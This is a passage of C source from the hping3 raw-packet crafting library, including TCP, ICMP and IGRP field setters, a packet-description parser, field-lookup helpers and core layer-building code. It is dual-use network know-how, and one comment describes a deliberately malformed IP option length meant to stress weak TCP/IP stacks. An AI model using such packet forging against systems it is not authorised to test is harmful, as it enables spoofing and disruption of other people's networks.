else { ars_set_error(pkt, "Invalid field for TCP.? layer: '%s'", f); return -ARS_INVALID; } return -ARS_OK; } int ars_d_set_tcpopt_echo(struct ars_packet *pkt, int layer, char *f, char *v) { struct ars_tcpopt *tcpopt; ARS_DEF_LAYER; tcpopt = pkt->p_layer[layer].l_data; if (strcasecmp(f, "optlen") == 0) { tcpopt->len = ars_atou(v); } else if (strcasecmp(f, "info") == 0) { u_int32_t info = htonl(ars_atou(v)); memcpy(tcpopt->un.echo.info, &info, 4); } else { ars_set_error(pkt, "Invalid field for TCP.ECHO layer: '%s'", f); return -ARS_INVALID; } return -ARS_OK; } int ars_d_set_icmp(struct ars_packet *pkt, int layer, char *f, char *v) { struct ars_icmphdr *icmp; ARS_DEF_LAYER; icmp = pkt->p_layer[layer].l_data; if (strcasecmp(f, "type") == 0) { icmp->type = ars_atou(v); } else if (strcasecmp(f, "code") == 0) { icmp->code = ars_atou(v); } else if (strcasecmp(f, "cksum") == 0) { icmp->checksum = htons(ars_atou(v)); pkt->p_layer[layer].l_flags |= ARS_TAKE_ICMP_CKSUM; } else if (strcasecmp(f, "id") == 0) { icmp->un.echo.id = htons(ars_atou(v)); } else if (strcasecmp(f, "seq") == 0) { icmp->un.echo.sequence = htons(ars_atou(v)); } else if (strcasecmp(f, "gw") == 0) { return ars_resolve(pkt, &icmp->un.gateway, v); } else if (strcasecmp(f, "unused") == 0) { icmp->un.gateway = htonl(ars_atou(v)); } else { ars_set_error(pkt, "Invalid field for ICMP layer: '%s'", f); return -ARS_INVALID; } return -ARS_OK; } int ars_d_set_igrp(struct ars_packet *pkt, int layer, char *f, char *v) { struct ars_igrphdr *igrp; ARS_DEF_LAYER; igrp = pkt->p_layer[layer].l_data; if (strcasecmp(f, "version") == 0) { igrp->version = ars_atou(v); } else if (strcasecmp(f, "opcode") == 0) { if (strcasecmp(v, "update") == 0) igrp->opcode = ARS_IGRP_OPCODE_UPDATE; else if (strcasecmp(v, "request") == 0) igrp->opcode = ARS_IGRP_OPCODE_REQUEST; else igrp->opcode = ars_atou(v); } else if (strcasecmp(f, "cksum") == 0) { igrp->checksum = htons(ars_atou(v)); pkt->p_layer[layer].l_flags |= ARS_TAKE_IGRP_CKSUM; } else if (strcasecmp(f, "edition") == 0) { igrp->edition = ars_atou(v); } else if (strcasecmp(f, "autosys") == 0) { igrp->autosys = htons(ars_atou(v)); } else if (strcasecmp(f, "interior") == 0) { igrp->interior = htons(ars_atou(v)); } else if (strcasecmp(f, "system") == 0) { igrp->system= htons(ars_atou(v)); } else if (strcasecmp(f, "exterior") == 0) { igrp->exterior = htons(ars_atou(v)); } else { ars_set_error(pkt, "Invalid field for IGRP layer: '%s'", f); return -ARS_INVALID; } return -ARS_OK; } static int igrp_set_dest(unsigned char *d, char *v) { int l = strlen(v); char *vcopy = alloca(l+1); char *f0, *f1, *f2; memcpy(vcopy, v, l+1); f0 = vcopy; if ((f1 = strchr(f0, '.')) == NULL) return 1; *f1++ = '\0'; if ((f2 = strchr(f1, '.')) == NULL) return 1; *f2++ = '\0'; if (!strisnum(f0) || !strisnum(f1) || !strisnum(f2)) return 1; d[0] = ars_atou(f0); d[1] = ars_atou(f1); d[2] = ars_atou(f2); return 0; } static void igrp_set_uint24(void *d, char *v) { __u32 t; unsigned char *x; t = htonl(ars_atou(v)); x = (unsigned char*) &t; memcpy(d, x+1, 3); } int ars_d_set_igrpentry(struct ars_packet *pkt, int layer, char *f, char *v) { struct ars_igrpentry *entry; ARS_DEF_LAYER; entry = pkt->p_layer[layer].l_data; if (strcasecmp(f, "dest") == 0) { if (igrp_set_dest(entry->destination, v)) { ars_set_error(pkt, "Invalid IGRP entry 'dest' field value: '%s'\n", v); return -ARS_INVALID; } } else if (strcasecmp(f, "delay") == 0) { igrp_set_uint24(entry->delay, v); } else if (strcasecmp(f, "bandwidth") == 0) { igrp_set_uint24(entry->bandwidth, v); } else if (strcasecmp(f, "mtu") == 0) { __u16 mtu = htons(ars_atou(v)); memcpy(entry->mtu, &mtu, 2); } else if (strcasecmp(f, "reliability") == 0) { entry->reliability = ars_atou(v); } else if (strcasecmp(f, "load") == 0) { entry->load = ars_atou(v); } else if (strcasecmp(f, "hopcount") == 0) { entry->hopcount = ars_atou(v); } else { ars_set_error(pkt, "Invalid field for IGRP.ENTRY layer: '%s'", f); return -ARS_INVALID; } return -ARS_OK; } int ars_push_data(struct ars_packet *pkt, int layer, void *data, size_t size) { char *p; int old_size; ARS_DEF_LAYER; old_size = pkt->p_layer[layer].l_size; p = realloc(pkt->p_layer[layer].l_data, old_size + size); if (p == NULL) return -ARS_NOMEM; memcpy(p+old_size, data, size); pkt->p_layer[layer].l_data = p; pkt->p_layer[layer].l_size += size; return ARS_OK; } static int hextab[256]; static int hextab_initialized = 0; static char *hexdig = "0123456789abcdef"; static char *ars_decode_hex(struct ars_packet *pkt, char *s, int *blen) { int len = strlen(s), i; unsigned char *d, *saved; if (len%2) { ars_set_error(pkt, "Odd length of 'hex' data"); return NULL; } *blen = len/2; if (!hextab_initialized) { memset(hextab, 255, 255); for (i = 0; i < 16; i++) hextab[(int)hexdig[i]] = i; } if ((d = malloc(*blen)) == NULL) { ars_set_error(pkt, "Out of memory decoding 'hex' data"); return NULL; } saved = d; while(*s) { int x0, x1; x0 = hextab[tolower(*s)]; x1 = hextab[tolower(*(s+1))]; if (x0 == 255 || x1 == 255) { ars_set_error(pkt, "Wrong byte for 'hex' data: '%c%c'", *s, *(s+1)); free(saved); return NULL; } *d++ = (x0 << 4) | x1; s += 2; } return saved; } static char *ars_decode_string(struct ars_packet *pkt, char *s, int *blen) { int l = strlen(s), i; int bl = 0; unsigned char *d, *saved; if (!hextab_initialized) { memset(hextab, -1, 255); for (i = 0; i < 16; i++) hextab[(int)hexdig[i]] = i; } if ((d = malloc(l)) == NULL) { ars_set_error(pkt, "Out of memory decoding 'str' data"); return NULL; } saved = d; while(*s) { if (*s == '\\' && *(s+1) && *(s+2)) { *d++ = (hextab[(int)*(s+1)] << 4) + hextab[(int)*(s+2)]; s += 3; } else { *d++ = *s++; } bl++; } *blen = bl; return saved; } #define ARS_DATA_BUF_SIZE 4096 int ars_d_set_data(struct ars_packet *pkt, int layer, char *f, char *v) { ARS_DEF_LAYER; if (strcasecmp(f, "file") == 0) { int fd, n_read; unsigned char buffer[ARS_DATA_BUF_SIZE]; if ((fd = open(v, O_RDONLY)) == -1) { ars_set_error(pkt, "Can't open the DATA file '%s': %s", v, strerror(errno)); return -ARS_ERROR; } if ((n_read = read(fd, buffer, ARS_DATA_BUF_SIZE)) == -1) { close(fd); ars_set_error(pkt, "Can't read DATA from file: %s", strerror(errno)); return -ARS_ERROR; } close(fd); if (n_read == 0) return -ARS_OK; return ars_push_data(pkt, layer, buffer, n_read); } else if (strcasecmp(f, "str") == 0) { char *binary; int err, blen; binary = ars_decode_string(pkt, v, &blen); if (binary == NULL) return -ARS_ERROR; err = ars_push_data(pkt, layer, binary, blen); free(binary); return err; } else if (strcasecmp(f, "hex") == 0) { char *binary; int err, blen; binary = ars_decode_hex(pkt, v, &blen); if (binary == NULL) return -ARS_ERROR; err = ars_push_data(pkt, layer, binary, blen); free(binary); } else if (strcasecmp(f, "uint32") == 0) { int err; __u32 t, nt; t = ars_atou(v); nt = htonl(t); err = ars_push_data(pkt, layer, (char*)&nt, 4); return err; } else if (strcasecmp(f, "uint24") == 0) { int err; __u32 t, nt; unsigned char *x = (unsigned char*) &nt; t = ars_atou(v); nt = htonl(t); err = ars_push_data(pkt, layer, x+1, 3); return err; } else if (strcasecmp(f, "uint16") == 0) { int err; __u16 t, nt; t = ars_atou(v); nt = htons(t); err = ars_push_data(pkt, layer, (char*)&nt, 2); return err; } else if (strcasecmp(f, "uint8") == 0) { int err; __u8 t; t = ars_atou(v); err = ars_push_data(pkt, layer, (char*)&t, 1); return err; } else { ars_set_error(pkt, "Invalid field for DATA layer: '%s'", f); return -ARS_INVALID; } return -ARS_OK; } /* A Finite state machine to build the packet using the description */ int ars_d_build(struct ars_packet *pkt, char *t) { struct ars_d_keyword_info *k = NULL; char next[ARS_MAX_TSIZE]; char field[ARS_MAX_TSIZE]; int state = ARS_G_LAYER; int error; void *p; while ((t = ars_d_parser(t, next, ARS_MAX_TSIZE)) != NULL) { switch(state) { case ARS_G_LAYER: k = ars_get_keyword_by_name(next); if (k == NULL) { ars_set_error(pkt, "Unknown keyword: '%s'", next); return -ARS_INVALID; } __D(printf("Adding a new layer (%s)\n", next);) p = k->ki_add(pkt, k->ki_opt); if (p == NULL) return -ARS_INVALID; state = ARS_G_OBRACE_OR_PLUS; break; case ARS_G_FIELD_OR_CBRACE: if (next[0] == ')' && next[1] == '\0') { state = ARS_G_LEN_OR_PLUS; } else { strncpy(field, next, ARS_MAX_TSIZE); state = ARS_G_EQUAL; } break; case ARS_G_VALUE: if (k->ki_set == NULL) { ars_set_error(pkt, "Field specified for" "a layer that doesn't support fields"); return -ARS_INVALID; } error = k->ki_set(pkt, ARS_LAST_LAYER, field, next); if (error != -ARS_OK) return error; state = ARS_G_COMMA_OR_CBRACE; break; case ARS_G_OBRACE_OR_PLUS: if (next[0] == '(' && next[1] == '\0') { state = ARS_G_FIELD_OR_CBRACE; break; } else if (next[0] == '+' && next[1] == '\0') { state = ARS_G_LAYER; break; } else { ars_set_error(pkt, "Missing brace or plus"); return -ARS_INVALID; } break; case ARS_G_CBRACE: if (next[0] != ')' || next[1] != '\0') { ars_set_error(pkt, "Missing closed brace"); return -ARS_INVALID; } state = ARS_G_LEN_OR_PLUS; break; case ARS_G_COMMA_OR_CBRACE: if (next[0] == ')' && next[1] == '\0') { state = ARS_G_LEN_OR_PLUS; break; } else if (next[0] == ',' && next[1] == '\0') { state = ARS_G_FIELD_OR_CBRACE; break; } else { ars_set_error(pkt, "Missing brace or comma"); return -ARS_INVALID; } break; case ARS_G_LEN_OR_PLUS: if (next[0] == '+' && next[1] == '\0') { state = ARS_G_LAYER; break; } error = ars_d_setlayer_size(pkt, ARS_LAST_LAYER, next); if (error != -ARS_OK) return error; state = ARS_G_PLUS; break; case ARS_G_PLUS: if (next[0] != '+' || next[1] != '\0') { ars_set_error(pkt, "Missing plus"); return -ARS_INVALID; } state = ARS_G_LAYER; break; case ARS_G_EQUAL: if (next[0] != '=' || next[1] != '\0') { ars_set_error(pkt, "Missing equal"); return -ARS_INVALID; } state = ARS_G_VALUE; break; } } if (state != ARS_G_LEN_OR_PLUS && state != ARS_G_PLUS && state != ARS_G_OBRACE_OR_PLUS) { ars_set_error(pkt, "Packet description truncated"); return -ARS_INVALID; } return -ARS_OK; } hping3-3.a2.ds2/apdutils.c000066400000000000000000000161471021454026700154010ustar00rootroot00000000000000/* Copyright (C) 2003 Salvatore Sanfilippo * $Id: apdutils.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include #include #include /* This function returns the indexes to seek a given field * of a given layer in an APD packet rappresentation. * The function is quite fast compared to a pure-Tcl regexp * based approach, sorry if it is quite ugly. * * field_start, value_start and value_end are set by reference, * the following graph shows where this three indexes point, * assuming the function is called with layer="ip" and field="tos": * * ip(ihl=5,ver=4,tos=0x10,...)+udp(...) * ^ ^ ^ * | | |____ field_start * | |_______ value_start * |___________ value_end * * The function returns 0 if layer/field don't match with * the packet, otherwise 1 is returned. If a given index pointer * is NULL, it is just not used. */ int ars_d_firstfield_off(char *packet, char *layer, char *field, int *field_start, int *value_start, int *value_end) { int layerlen = strlen(layer); int fieldlen = strlen(field); int pktlen = strlen(packet); char *x = alloca(layerlen+3); char *y = alloca(fieldlen+3); char *p, *j, *w; x[0] = '+'; memcpy(x+1, layer, layerlen); x[layerlen+1] = '('; x[layerlen+2] = '\0'; if (pktlen <= layerlen+1) return 0; if (memcmp(packet, x+1, layerlen+1) == 0) { p = packet; } else { p = strstr(packet, x); if (p == NULL) return 0; p++; } y[0] = ','; memcpy(y+1, field, fieldlen); y[fieldlen+1] = '='; y[fieldlen+2] = '\0'; p += layerlen + 1; pktlen -= p-packet; if (pktlen <= fieldlen+1) return 0; if ((j = strchr(p, ')')) == NULL) return 0; if (memcmp(p, y+1, fieldlen+1)) { p = strstr(p, y); if (p == NULL || p >= j) return 0; p++; } if (field_start) *field_start = p-packet; p += fieldlen + 1; if (value_start) *value_start = p-packet; w = strchr(p, ','); if (w && w < j) j = w; if (value_end) *value_end = (j-packet)-1; return 1; } /* This function extends ars_d_firstfield_off(), allowing to specify * how much layers of the same type of 'layer' to skip. This is * useful to get fields in packets where the same layer is present * more then one time. For example ICMP error packets contains * a quoted IP packet that can be accessed using a skip value of 1 * (to skip the first IP layer). */ int ars_d_field_off(char *packet, char *layer, char *field, int skip, int *field_start, int *value_start, int *value_end) { char *p = packet; int end, toadd; /* Minimal overhead with a zero skip */ if (skip <= 0) return ars_d_firstfield_off(packet, layer, field, field_start, value_start, value_end); do { if (!ars_d_firstfield_off(p, layer, field, field_start, value_start, &end)) return 0; toadd = p-packet; p += end; } while(skip--); if (value_end) *value_end = end + toadd; if (field_start) *field_start += toadd; if (value_start) *value_start += toadd; return 1; } /* The function calls ars_d_field_off() in order to * return a dynamically allocated string containing * the value of the given field. On error (no match or out of mem) * NULL is returned. */ char *ars_d_field_get(char *packet, char *layer, char *field, int skip) { int start, end, len; char *x; if (!ars_d_field_off(packet, layer, field, skip, NULL, &start, &end)) return NULL; len = end-start+1; if ((x = malloc(len+1)) == NULL) return NULL; memcpy(x, packet+start, len); x[len] = '\0'; return x; } #ifdef TESTMAIN char packet[] = "ip(ihl=5,ver=4,tos=00,totlen=1340,id=43581,fragoff=0,mf=0,df=1,rf=0,ttl=4,proto=6,cksum=9029,saddr=192.168.1.6,daddr=195.14.221.49)+tcp(sport=55617,dport=80,seq=4048054653,ack=1246471424,x2=0,off=5,flags=pa,win=8576,cksum=6082,urp=0)+data(hex=0cd68e94650059b4dc81b1562d7288254c3faf5d651b75d1393abc6dcd5f5d1ad2f56b9bca9edc84b9212890b9407232b0d0e10222b4391e2e915c8ba4c0cb89c540d4c1389503c2d48b2c60a6c73500603cdba72144eccbd8f4cfc020af7d540fe99ea8fd0975371fb8f8167a0a1b94cf53e208cdce36dc2b692a857b958822ddac8d2cd1e8d9966a0361f345988084d558d8679f1393de4781ac8499178059f9f01d940cb2a8dfc288e500637c6a424ebde14068523291dc92bcec2e5eb4c8c53ad4192ff1e41e9e9e7cd5e389ef9dd3b9062d8509ac2f88a41863f009dfb3b08c041a68369561fa2bd9ffc09289d8719c2d52d6a687f3b837bbc51eb2a3aac50fafd2abf1a8374ca8cf6ab76a8a562e7e0995b43508a8a39abc6760738e4ef532b8968ef460719c2070eaa38fb67325e4f0903fe407b203a2d3d1bfb78dc0c430fbfc20029b0a2445801f9478beee2d964d95241edfa6322f34515b39ebbf2de43a3c533ba870ea8ef78b3baa70fb1d3491dcf931459395e92497205b633af5f426a921b79a28c5e1b86558f7b7e608c3cb0afa15dc8c60ad1897944074c712e141ae9ed44f3431c9e51ab6f92ab8248cc24279db669f6da1fecdf9ea299b24d94e7847545eab663e77e3a23fe133a8c7d18d23efbfa0a236586c315455ecae03c1d2e23bf713e9a240b26b83c5e5ead196581805ac6132f1454fb4c91a16d9cada46b1be728d697167d9b3c29cdcea3b04346116457bba715203bd45a3540d57a71368e9a015ae8d36368176752fdd93e975fd18e2797f53408aba273a20bad8f7f7763c20954e4aa371e0bbd4c03a9963a175fdd06457b3e39732e65d9443959adc1555e4bd59dcb7855bf204e31f04ad8ffb956e04a10896fdf861bd42408e10f47d38cffb3c9719bcff739265e3591bf5a2beedd9c90dc8a72c2dee5dc896914dee4c48f43c977736e4112255e4cd10d7812693b99f4484aa70d632f7ae94ce0bda674df8775fd017e40baae817de058b4563cba5539c5d4d580a754a3a042e49a6e56c7ce889388a606fde17ee8e25fa1c30abdd924564a3c03e5d2b7f265f4d030060b5d24da79c32a518c3febc3d8c2386298bfebbaee444be0252ac5ec5c93a212d4ebc0dd8e227629eb28161bb9037e6df3c02191a4a7b7c0c4187c99b99801399dbf325fcff261a97638c39656f32d292c3527004f7c00d1b51131d5d997a6a9934885ca44b4d856bddcb12b80f9484b3a5885e0c79e63ec1374efece0f7140df35c949dcaa49af4165d754dd1ff6d7747864ebfe1aac0d3979923e2cffc0ea2da693b10c2c794957161f382811d0196d69ab9b3b8c5edc8338f17632470f50ec34ceaecf4c6e30e6131db340a51f7113b614993f22b582bb47f8caffd8bca5aff325443a55fe16f2f57d8cdf86cd131062672b48122bdaabd844abf20ccfd8d82069c2120e706a4894709758fcd35c6e57a6fb64d6c03d14ef4ac5ba6347cc92b6d899cd6cdbf9e8be573eff7550dbb453cb5ac1fa9900ce73cd57cdc3b95aaad0d293a9c7e4a5054f8a46c9052d44f0d4b3fc5f6670a9c318f44d429f35ca4c1ce1b6d39daf02fa05c8decc46889a6fcf0f4491e563cbde158dc046f52cd328ac40c9c26629f6f42de60f9c7d52fe131a16b04a37c4967794ee4aa76c28463e8ca393abd6ca7aa41a9155db94a7d14f7a5f6ebaa2ee6751f0b139b403d524f433c939c382001fc1c6e9be709b55fcf01b01996889529917fabae23310a54878ca94601cf3182e9a5b01eabb588ff953c91205c56b54a2e125aa9c1c9753e5515566d027a827e55e1a6863cc82)+ip(ihl=5,ver=4,tos=10,totlen=1340,id=43581,fragoff=0,mf=0,df=1,rf=0,ttl=4,proto=6,cksum=9029,saddr=192.168.1.6,daddr=195.14.221.49)+tcp(sport=55617,dport=80,seq=4048054653,ack=1246471424,x2=0,off=5,flags=pa,win=8576,cksum=6082,urp=0)+ip(ihl=5,ver=4,tos=20,totlen=1340,id=43581,fragoff=0,mf=0,df=1,rf=0,ttl=4,proto=6,cksum=9029,saddr=192.168.1.6,daddr=195.14.221.49)"; int main(int argc, char **argv) { int i = 10000; int field_start, value_start, value_end; int skip; if (argc != 4) exit(1); skip = atoi(argv[3]); if (ars_d_field_off(packet, argv[1], argv[2], skip, &field_start, &value_start, &value_end)) { int j; printf("|"); for (j = field_start; j <= value_end; j++) { printf("%c", packet[j]); } printf("|\n"); } while(i--) { ars_d_field_off(packet, argv[1], argv[2], skip, NULL, NULL, NULL); } return 0; } #endif hping3-3.a2.ds2/apdutils.h000066400000000000000000000005631021454026700154010ustar00rootroot00000000000000#ifndef __APD_UTILS_H #define __APD_UTILS_H int ars_d_firstfield_off(char *packet, char *layer, char *field, int *field_start, int *value_start, int *value_end); int ars_d_field_off(char *packet, char *layer, char *field, int skip, int *field_start, int *value_start, int *value_end); char *ars_d_field_get(char *packet, char *layer, char *field, int skip); #endif hping3-3.a2.ds2/ars.c000066400000000000000000000657561021454026700143530ustar00rootroot00000000000000/* Copyright (C) 2000,2001 Salvatore Sanfilippo * See the LICENSE file for more information. * * TODO: * o Functions to add addresses and timestamps for some IP and TCP option * o IGMP support * o DNS support * o ARS add_build_layer() facility and Co., read the PROPOSAL file. */ /* $Id: ars.c,v 1.3 2004/04/14 12:30:18 antirez Exp $ */ #include #include #include #include #include #include #include #include #include #include #include "ars.h" /* prototypes */ int ars_compiler_ip(struct ars_packet *pkt, int layer); int ars_compiler_ipopt(struct ars_packet *pkt, int layer); int ars_compiler_tcp(struct ars_packet *pkt, int layer); int ars_compiler_tcpopt(struct ars_packet *pkt, int layer); int ars_compiler_udp(struct ars_packet *pkt, int layer); int ars_compiler_icmp(struct ars_packet *pkt, int layer); int ars_compiler_igrp(struct ars_packet *pkt, int layer); int ars_compiler_abort(struct ars_packet *pkt, int layer) { return 0; } /* Initialize a packets context: * must be called before to work with the packet's layers */ int ars_init(struct ars_packet *pkt) { int j; pkt->p_error = NULL; pkt->p_layer_nr = 0; pkt->p_options = 0; for (j = 0; j < ARS_MAX_LAYER; j++) { pkt->p_layer[j].l_size = 0; pkt->p_layer[j].l_flags = 0; pkt->p_layer[j].l_type = ARS_TYPE_NULL; pkt->p_layer[j].l_data = NULL; pkt->p_layer[j].l_packet = pkt; } for (j = 0; j < ARS_TYPE_SIZE; j++) pkt->p_default[j] = NULL; return -ARS_OK; } /* Destroy (free the allocated memory) a packet context */ int ars_destroy(struct ars_packet *pkt) { int j; free(pkt->p_error); for (j = 0; j < ARS_MAX_LAYER; j++) { if (pkt->p_layer[j].l_type != ARS_TYPE_NULL && pkt->p_layer[j].l_data != NULL) free(pkt->p_layer[j].l_data); } return ars_init(pkt); /* Re-initialize it */ } /* THe out of memory message must be statically allocated */ char *ars_error_nomem = "Out of memory"; /* Set the error description */ int ars_set_error(struct ars_packet *pkt, const char *fmt, ...) { va_list ap; char buf[ARS_ERR_BUFSZ]; if (pkt == NULL) return -ARS_OK; va_start(ap, fmt); vsnprintf(buf, ARS_ERR_BUFSZ, fmt, ap); buf[ARS_ERR_BUFSZ-1] = '\0'; va_end(ap); free(pkt->p_error); /* p_error is initialized to NULL */ if ((pkt->p_error = strdup(buf)) == NULL) { /* To put the error description for the -KO_NOMEM * error we needs a statically allocated error message: * Note that all other functions don't need to report * a statically allocated error message for -KO_NOMEM * it will be auto-selected if strdup() returns NULL */ pkt->p_error = ars_error_nomem; } return -ARS_OK; /* report anyway success */ } /* Set the default for a layer */ int ars_set_default(struct ars_packet *pkt, int layer_type, void *def) { pkt->p_default[layer_type] = def; return -ARS_OK; } /* return nonzero if the packet is full */ int ars_nospace(struct ars_packet *pkt) { return (pkt->p_layer_nr == ARS_MAX_LAYER); } /* Check if the layer number is valid */ int ars_valid_layer(int layer) { if (layer < 0 || layer >= ARS_MAX_LAYER) return -ARS_INVALID; return -ARS_OK; } /* Add an a generic layer */ int ars_add_generic(struct ars_packet *pkt, size_t size, int type) { int layer; if (ars_nospace(pkt)) { ars_set_error(pkt, "No space for the next layer"); return -ARS_NOSPACE; } layer = pkt->p_layer_nr; /* You may want to create a 0 len layer and then realloc */ if (size != 0) { pkt->p_layer[layer].l_data = malloc(size); if (pkt->p_layer[layer].l_data == NULL) { ars_set_error(pkt, "Out of memory adding a new layer"); return -ARS_NOMEM; } memset(pkt->p_layer[layer].l_data, 0, size); /* Copy the default if any */ if (pkt->p_default[type] != NULL) { memcpy(pkt->p_layer[layer].l_data, pkt->p_default[type], size); } } pkt->p_layer[layer].l_type = type; pkt->p_layer[layer].l_size = size; return -ARS_OK; } /* Add an IP layer */ void *ars_add_iphdr(struct ars_packet *pkt, int unused) { int retval; retval = ars_add_generic(pkt, sizeof(struct ars_iphdr), ARS_TYPE_IP); if (retval != -ARS_OK) return NULL; pkt->p_layer_nr++; return pkt->p_layer[pkt->p_layer_nr-1].l_data; } /* Add on IP option */ void *ars_add_ipopt(struct ars_packet *pkt, int option) { int retval; struct ars_ipopt *ipopt; int opt_len; switch(option) { case ARS_IPOPT_END: case ARS_IPOPT_NOOP: opt_len = 1; break; case ARS_IPOPT_SEC: opt_len = 11; break; case ARS_IPOPT_SID: opt_len = 4; break; case ARS_IPOPT_LSRR: case ARS_IPOPT_SSRR: case ARS_IPOPT_RR: case ARS_IPOPT_TIMESTAMP: /* We allocate the max (40 bytes) but the real layer size * may be modified by ars_ipopt_set*() functions */ opt_len = 40; break; default: return NULL; /* Unsupported option */ break; } retval = ars_add_generic(pkt, opt_len, ARS_TYPE_IPOPT); if (retval != -ARS_OK) return NULL; ipopt = pkt->p_layer[pkt->p_layer_nr].l_data; pkt->p_layer_nr++; ipopt->kind = option; /* END and NOOP hasn't the length byte */ if (option == ARS_IPOPT_END || option == ARS_IPOPT_NOOP) return ipopt; ipopt->len = opt_len; /* the default, can be modified inside switch() */ /* Perform some special operation for some option */ switch(option) { case ARS_IPOPT_LSRR: /* ars_ipopt_setls() will change some field */ case ARS_IPOPT_SSRR: /* ars_ipopt_setss() will change some field */ case ARS_IPOPT_RR: /* ars_ipopt_setrr() will change some field */ /* RFC 791 needs the roomlen - 3 octects, so the gateways * can compare len and ptr to check for room. * Try to break this to stress lame TCP/IP implementation */ ipopt->len = opt_len - 2 - 3; ipopt->un.rr.ptr = 4; break; case ARS_IPOPT_TIMESTAMP: ipopt->len = opt_len - 2 - 4; ipopt->un.ts.ptr = 5; ipopt->un.ts.flags = ARS_IPOPT_TS_TSONLY; /* default */ break; } return ipopt; } /* Add a UDP layer */ void *ars_add_udphdr(struct ars_packet *pkt, int unused) { int retval; retval = ars_add_generic(pkt, sizeof(struct ars_udphdr), ARS_TYPE_UDP); if (retval != -ARS_OK) return NULL; pkt->p_layer_nr++; return pkt->p_layer[pkt->p_layer_nr-1].l_data; } /* Add a TCP layer */ void *ars_add_tcphdr(struct ars_packet *pkt, int unused) { int retval; retval = ars_add_generic(pkt, sizeof(struct ars_tcphdr), ARS_TYPE_TCP); if (retval != -ARS_OK) return NULL; pkt->p_layer_nr++; return pkt->p_layer[pkt->p_layer_nr-1].l_data; } /* Add TCP options */ void *ars_add_tcpopt(struct ars_packet *pkt, int option) { int retval; struct ars_tcpopt *tcpopt; int opt_len; switch(option) { case ARS_TCPOPT_NOP: case ARS_TCPOPT_EOL: opt_len = 1; break; case ARS_TCPOPT_MAXSEG: opt_len = 4; break; case ARS_TCPOPT_WINDOW: opt_len = 3; break; case ARS_TCPOPT_SACK_PERM: opt_len = 2; break; case ARS_TCPOPT_SACK: opt_len = 8*4+2; break; case ARS_TCPOPT_ECHOREQUEST: case ARS_TCPOPT_ECHOREPLY: opt_len = 6; break; case ARS_TCPOPT_TIMESTAMP: opt_len = 10; break; default: return NULL; /* Unsupported option */ break; } retval = ars_add_generic(pkt, opt_len, ARS_TYPE_TCPOPT); if (retval != -ARS_OK) return NULL; tcpopt = pkt->p_layer[pkt->p_layer_nr].l_data; pkt->p_layer_nr++; tcpopt->kind = option; /* EOL and NOP lacks the len field */ if (option != ARS_TCPOPT_EOL && option != ARS_TCPOPT_NOP) tcpopt->len = opt_len; /* Perform some special operation for the option */ switch(option) { case ARS_TCPOPT_ECHOREQUEST: case ARS_TCPOPT_ECHOREPLY: memset(tcpopt->un.echo.info, 0, 4); break; case ARS_TCPOPT_TIMESTAMP: memset(tcpopt->un.timestamp.tsval, 0, 4); memset(tcpopt->un.timestamp.tsecr, 0, 4); break; } return tcpopt; } /* Add an ICMP layer */ void *ars_add_icmphdr(struct ars_packet *pkt, int unused) { int retval; struct ars_icmphdr *icmp; retval = ars_add_generic(pkt, sizeof(struct ars_icmphdr),ARS_TYPE_ICMP); if (retval != -ARS_OK) return NULL; icmp = pkt->p_layer[pkt->p_layer_nr].l_data; icmp->type = ARS_ICMP_ECHO; icmp->code = 0; pkt->p_layer_nr++; return (struct ars_icmphdr*) pkt->p_layer[pkt->p_layer_nr-1].l_data; } /* Add an IGRP layer */ void *ars_add_igrphdr(struct ars_packet *pkt, int unused) { int retval; struct ars_igrphdr *igrp; retval = ars_add_generic(pkt, sizeof(struct ars_igrphdr),ARS_TYPE_IGRP); if (retval != -ARS_OK) return NULL; igrp = pkt->p_layer[pkt->p_layer_nr].l_data; igrp->opcode = ARS_IGRP_OPCODE_REQUEST; igrp->version = 1; igrp->edition = 0; igrp->autosys = 0; igrp->interior = 0; igrp->system = 0; igrp->exterior = 0; pkt->p_layer_nr++; return pkt->p_layer[pkt->p_layer_nr-1].l_data; } /* Add an IGRP entry */ void *ars_add_igrpentry(struct ars_packet *pkt, int unused) { int retval; retval = ars_add_generic(pkt, sizeof(struct ars_igrpentry),ARS_TYPE_IGRPENTRY); if (retval != -ARS_OK) return NULL; pkt->p_layer_nr++; return pkt->p_layer[pkt->p_layer_nr-1].l_data; } /* Add data, for IP-RAW, TCP, UDP, and so on */ void *ars_add_data(struct ars_packet *pkt, int size) { int retval; static void *ptr = "zzappt"; /* we can't return NULL for size == 0 */ if (size < 0) { ars_set_error(pkt, "Tryed to add a DATA layer with size < 0"); return NULL; } retval = ars_add_generic(pkt, size, ARS_TYPE_DATA); if (retval != -ARS_OK) return NULL; pkt->p_layer_nr++; if (size > 0) return pkt->p_layer[pkt->p_layer_nr-1].l_data; else return ptr; } /* Remove a layer */ int ars_remove_layer(struct ars_packet *pkt, int layer) { if (layer == ARS_LAST_LAYER) layer = pkt->p_layer_nr -1; if (ars_valid_layer(layer) != -ARS_OK) return -ARS_INVALID; free(pkt->p_layer[layer].l_data); /* No problem if it's NULL */ pkt->p_layer[layer].l_type = ARS_TYPE_NULL; pkt->p_layer[layer].l_size = 0; pkt->p_layer[layer].l_flags = 0; pkt->p_layer[layer].l_data = NULL; pkt->p_layer[layer].l_packet = pkt; return -ARS_OK; } /* Return the sum of the size of the specifed layer and of all the * following layers */ size_t ars_relative_size(struct ars_packet *pkt, int layer_nr) { int j = layer_nr, rel_size = 0; while (j < ARS_MAX_LAYER && pkt->p_layer[j].l_type != ARS_TYPE_NULL) { rel_size += pkt->p_layer[j].l_size; j++; } return rel_size; } /* Just a short cut for ars_relative_size(), to get the total size */ size_t ars_packet_size(struct ars_packet *pkt) { return ars_relative_size(pkt, 0); } /* from R. Stevens's Network Programming */ u_int16_t ars_cksum(void *vbuf, size_t nbytes) { u_int16_t *buf = (u_int16_t*) vbuf; u_int32_t sum; u_int16_t oddbyte; sum = 0; while (nbytes > 1) { sum += *buf++; nbytes -= 2; } if (nbytes == 1) { oddbyte = 0; *((u_int16_t *) &oddbyte) = *(u_int16_t *) buf; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (u_int16_t) ~sum; } /* Multiple buffers checksum facility */ u_int16_t ars_multi_cksum(struct mc_context *c, int op, void *vbuf, size_t nbytes) { u_int16_t *buf = (u_int16_t*) vbuf; u_int32_t sum; u_int16_t oddbyte; void *tmp; if (op == ARS_MC_INIT) { c->oddbyte_flag = 0; c->old = 0; return -ARS_OK; } else if (op == ARS_MC_UPDATE) { if (c->oddbyte_flag) { u_int8_t *x = (u_int8_t*)&oddbyte; oddbyte = 0; *((u_int16_t *) 